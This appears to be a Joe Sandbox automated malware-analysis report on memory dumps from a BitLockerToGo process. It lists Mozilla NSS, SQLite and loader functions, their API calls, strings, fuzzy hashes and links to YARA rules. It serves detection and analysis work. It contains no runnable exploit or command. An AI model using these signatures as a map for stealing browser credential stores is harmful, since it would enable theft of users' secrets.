cpuallthreads, xrefs: 6C83CE16
notimerresolutionchange, xrefs: 6C83CE00
nativeallocations, xrefs: 6C83CDA8
jsallocations, xrefs: 6C83CD0E
processcpu, xrefs: 6C83CE6E
seqstyle, xrefs: 6C83CCE6
nostacksampling, xrefs: 6C83CD7C
samplingallthreads, xrefs: 6C83CE2C
leaf, xrefs: 6C83CC66
stackwalk, xrefs: 6C83CCF8
markersallthreads, xrefs: 6C83CE42
unregisteredthreads, xrefs: 6C83CE58
audiocallbacktracing, xrefs: 6C83CDD4
default, xrefs: 6C83CC21
noiostacks, xrefs: 6C83CCBE
power, xrefs: 6C83CE84

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 66855b923c29c1d169996c0e8542f6778eb37dd129df91c908475444e8d7270a
Instruction ID: bd20e17b1a009a2908f056818904487ef003b867dfa7bc79d218ba11bdee0271
Opcode Fuzzy Hash: 66855b923c29c1d169996c0e8542f6778eb37dd129df91c908475444e8d7270a
Instruction Fuzzy Hash: 4551659190527911FE32319A6F10BAA3405EB5224BF107E3AF90DA6F83FF09D60985F7

Function 6C804470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C804730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C8044B2,6C87E21C,6C87F7F8), ref: 6C80473E
Part of subcall function 6C804730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C80474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C8044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C8044D2
InitOnceExecuteOnce.KERNEL32(6C87F80C,6C7FF240,?,?), ref: 6C80451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C80455C
LoadLibraryW.KERNEL32(?), ref: 6C804592
InitializeCriticalSection.KERNEL32(6C87F770), ref: 6C8045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C8045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C8045BB
InitOnceExecuteOnce.KERNEL32(6C87F818,6C7FF240,?,?), ref: 6C804612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C804636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C804644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C80466D
VerSetConditionMask.NTDLL ref: 6C80469F
VerSetConditionMask.NTDLL ref: 6C8046AB
VerSetConditionMask.NTDLL ref: 6C8046B2
VerSetConditionMask.NTDLL ref: 6C8046B9
VerSetConditionMask.NTDLL ref: 6C8046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C8046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C8046FD

Strings

user32.dll, xrefs: 6C804557, 6C80463F
kernel32.dll, xrefs: 6C8044CD
WRusr.dll, xrefs: 6C8044B5
NativeNtBlockSet_Write, xrefs: 6C8046F7
l, xrefs: 6C804578

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: fab5164305bd2faffc8ee897736872a9eb6c44dfeb0e42b05817f02988928249
Instruction ID: e5484d9e3e55312c30a1e9c426064dbe2f05ecbf6c6c59a88c21ed032198f8a8
Opcode Fuzzy Hash: fab5164305bd2faffc8ee897736872a9eb6c44dfeb0e42b05817f02988928249
Instruction Fuzzy Hash: A061F2B16442589EEB318F61CE49BAD7BB8EBE330CF048868E5149B641F7748944CBB0

Function 6C9E6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C89CA30: EnterCriticalSection.KERNEL32(?,?,?,6C8FF9C9,?,6C8FF4DA,6C8FF9C9,?,?,6C8C369A), ref: 6C89CA7A
Part of subcall function 6C89CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C89CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C8ABE66), ref: 6C9E6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C8ABE66), ref: 6C9E6E98
sqlite3_snprintf.NSS3(?,00000000,6CA4AAF9,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C8ABE66), ref: 6C9E6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C8ABE66), ref: 6C9E6FA6
sqlite3_snprintf.NSS3(?,00000000,6CA4AAF9,00000000,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C8ABE66), ref: 6C9E701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C8ABE66), ref: 6C9E7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C8ABE66), ref: 6C9E7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C8ABE66), ref: 6C9E70A0

Strings

winGetTempname5, xrefs: 6C9E7071
winGetTempname2, xrefs: 6C9E70C4
winGetTempname1, xrefs: 6C9E708F
mz_etilqs_, xrefs: 6C9E6F18
winGetTempname4, xrefs: 6C9E7046

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 98f9c3d3daa4a25491e24d2d755dbafdce5a7253310571d16c4255749decd9f0
Instruction ID: bb3708d2e97a2c5e15c71d6d21f01f4509393f2d140c5351293bf3d12ac46fa4
Opcode Fuzzy Hash: 98f9c3d3daa4a25491e24d2d755dbafdce5a7253310571d16c4255749decd9f0
Instruction Fuzzy Hash: 1951AF71A002216BE71696389C51BBF361A5FA6308F144938E90597BC2FB35D81EC2E3

Function 6C974C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C964F51,00000000), ref: 6C974C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C964F51,00000000), ref: 6C974C5B
PR_smprintf.NSS3(6CA4AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C964F51,00000000), ref: 6C974C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C964F51,00000000), ref: 6C974CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C974CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C974CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C974D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C964F51,00000000), ref: 6C974D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C964F51,00000000), ref: 6C974D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C974D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C974DA2
free.MOZGLUE(?), ref: 6C974DB9
free.MOZGLUE(00000000), ref: 6C974DCF

Strings

0x%08lx=[%s %s], xrefs: 6C974D80
any, xrefs: 6C974C96
ootT, xrefs: 6C974D1A
timeout, xrefs: 6C974C91
rootFlags, xrefs: 6C974D47
slotFlags, xrefs: 6C974D34
every, xrefs: 6C974CA1
%s,%s, xrefs: 6C974C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C974D9D
rust, xrefs: 6C974D22

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c61100c99077e4a13861151ce212b7b6b0c3d4e7e6da1c2ec9cdb3484a7a0e5e
Instruction ID: b29313a0163978579a1a9ecf57c0cb255b95830f4b265797a5b6713c87902dca
Opcode Fuzzy Hash: c61100c99077e4a13861151ce212b7b6b0c3d4e7e6da1c2ec9cdb3484a7a0e5e
Instruction Fuzzy Hash: 3941ACB1901142ABDB225F289D406BA3669AF9234CF098134E8154BB03E735E965CFF3

Function 6C952D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C952DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C952E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C952E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C952E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C924F1C,?,-00000001,00000000,?), ref: 6C952E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C924F1C,?,-00000001,00000000), ref: 6C952E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C952EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C952EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C952EF8
PR_Unlock.NSS3(?), ref: 6C952F62
TlsGetValue.KERNEL32 ref: 6C952F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C952F9E
PR_Unlock.NSS3(?), ref: 6C952FCA
TlsGetValue.KERNEL32 ref: 6C95301A
EnterCriticalSection.KERNEL32(?), ref: 6C95302E
PR_Unlock.NSS3(?), ref: 6C953066
PR_SetError.NSS3(00000000,00000000), ref: 6C953085
PR_Unlock.NSS3(?), ref: 6C9530EC
TlsGetValue.KERNEL32 ref: 6C95310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C953124
PR_Unlock.NSS3(?), ref: 6C95314C

Part of subcall function 6C939180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C96379E,?,6C939568,00000000,?,6C96379E,?,00000001,?), ref: 6C93918D
Part of subcall function 6C939180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C96379E,?,6C939568,00000000,?,6C96379E,?,00000001,?), ref: 6C9391A0

Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007AD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007CD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007D6
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C89204A), ref: 6C9007E4
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,6C89204A), ref: 6C900864
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C900880
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,6C89204A), ref: 6C9008CB
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008D7
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008FB

PR_SetError.NSS3(00000000,00000000), ref: 6C95316D

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 64eca545dbff57f17ba150dbe3e48309800e04e895edaa60bd52bb8a42fbeaad
Instruction ID: 81133d26f67a8929b78b11d702dba282b498828d2445226768ead7576b1bbc88
Opcode Fuzzy Hash: 64eca545dbff57f17ba150dbe3e48309800e04e895edaa60bd52bb8a42fbeaad
Instruction Fuzzy Hash: 83F1CE71E00619EFDF00DF64D844AAABBB8BF09318F448169EC04A7711E735E9A6CB90

Function 6C956CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C956910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C956943
Part of subcall function 6C956910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C956957
Part of subcall function 6C956910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C956972
Part of subcall function 6C956910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C956983
Part of subcall function 6C956910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C9569AA
Part of subcall function 6C956910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C9569BE
Part of subcall function 6C956910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C9569D2
Part of subcall function 6C956910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C9569DF
Part of subcall function 6C956910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C956A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C956D8C
free.MOZGLUE(00000000), ref: 6C956DC5
free.MOZGLUE(?), ref: 6C956DD6
free.MOZGLUE(?), ref: 6C956DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C956E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C956E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C956E72
free.MOZGLUE(?), ref: 6C956EA7
free.MOZGLUE(?), ref: 6C956EC4
free.MOZGLUE(?), ref: 6C956ED5
free.MOZGLUE(00000000), ref: 6C956EE3
free.MOZGLUE(?), ref: 6C956EF4
free.MOZGLUE(?), ref: 6C956F08
free.MOZGLUE(00000000), ref: 6C956F35
free.MOZGLUE(?), ref: 6C956F44
free.MOZGLUE(?), ref: 6C956F5B
free.MOZGLUE(00000000), ref: 6C956F65

Part of subcall function 6C956C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C95781D,00000000,6C94BE2C,?,6C956B1D,?,?,?,?,00000000,00000000,6C95781D), ref: 6C956C40
Part of subcall function 6C956C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C95781D,?,6C94BE2C,?), ref: 6C956C58
Part of subcall function 6C956C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C95781D), ref: 6C956C6F
Part of subcall function 6C956C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C956C84
Part of subcall function 6C956C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C956C96
Part of subcall function 6C956C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C956CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C956F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C956FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C956FF4

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 7a80de279b4005519dec73cebfe24f1837df0515a14086c0af95a1e6701ce627
Instruction ID: 54d44234bf34edfd341a3962b37d7fd140b33c8ff5335cb449d70aed5bb66da7
Opcode Fuzzy Hash: 7a80de279b4005519dec73cebfe24f1837df0515a14086c0af95a1e6701ce627
Instruction Fuzzy Hash: 91B170B0E022199FEF00CBA5DC44B9EBBB9AF05348F540124E815E7B40E735E979CBA1

Function 6C954C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C954C4C
EnterCriticalSection.KERNEL32(?), ref: 6C954C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C954CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C954CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C954CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C954D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C954D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C954DB7

Part of subcall function 6C9BDD70: TlsGetValue.KERNEL32 ref: 6C9BDD8C
Part of subcall function 6C9BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C9BDDB4

Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007AD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007CD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007D6
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C89204A), ref: 6C9007E4
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,6C89204A), ref: 6C900864
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C900880
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,6C89204A), ref: 6C9008CB
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008D7
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008FB

TlsGetValue.KERNEL32 ref: 6C954DD7
EnterCriticalSection.KERNEL32(?), ref: 6C954DEC
PR_Unlock.NSS3(?), ref: 6C954E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C954E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C954E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C954E71
free.MOZGLUE(00000000), ref: 6C954E7A
PR_Unlock.NSS3(?), ref: 6C954EA2
TlsGetValue.KERNEL32 ref: 6C954EC1
EnterCriticalSection.KERNEL32(?), ref: 6C954ED6
PR_Unlock.NSS3(?), ref: 6C954F01
free.MOZGLUE(00000000), ref: 6C954F2A

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 127bff47b6411aa21f313674cc18e68b6857bd8ce125c1586ce99823c37b7cab
Instruction ID: bd971dbf662ea62ddd7b1819fec3713fa6feaa24e2efe5226666a21a08cb00c6
Opcode Fuzzy Hash: 127bff47b6411aa21f313674cc18e68b6857bd8ce125c1586ce99823c37b7cab
Instruction Fuzzy Hash: 19B11275A002069FDF45EF28D844AAA77B8BF59318F848128ED0597B00E734E976CFE1

Function 6C9A6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C9A6BF7), ref: 6C9A6EB6

Part of subcall function 6C901240: TlsGetValue.KERNEL32(00000040,?,6C90116C,NSPR_LOG_MODULES), ref: 6C901267
Part of subcall function 6C901240: EnterCriticalSection.KERNEL32(?,?,?,6C90116C,NSPR_LOG_MODULES), ref: 6C90127C
Part of subcall function 6C901240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C90116C,NSPR_LOG_MODULES), ref: 6C901291
Part of subcall function 6C901240: PR_Unlock.NSS3(?,?,?,?,6C90116C,NSPR_LOG_MODULES), ref: 6C9012A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CA4FC0A,6C9A6BF7), ref: 6C9A6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C9A6EFC
PR_NewLock.NSS3 ref: 6C9A6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C9A6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C9A6BF7), ref: 6C9A6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C9A6BF7), ref: 6C9A6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C9A6BF7), ref: 6C9A6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C9A6BF7), ref: 6C9A6FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C9A6F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C9A6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C9A6EF7
SSLKEYLOGFILE, xrefs: 6C9A6EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C9A6FDB
SSLFORCELOCKS, xrefs: 6C9A6F2B

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
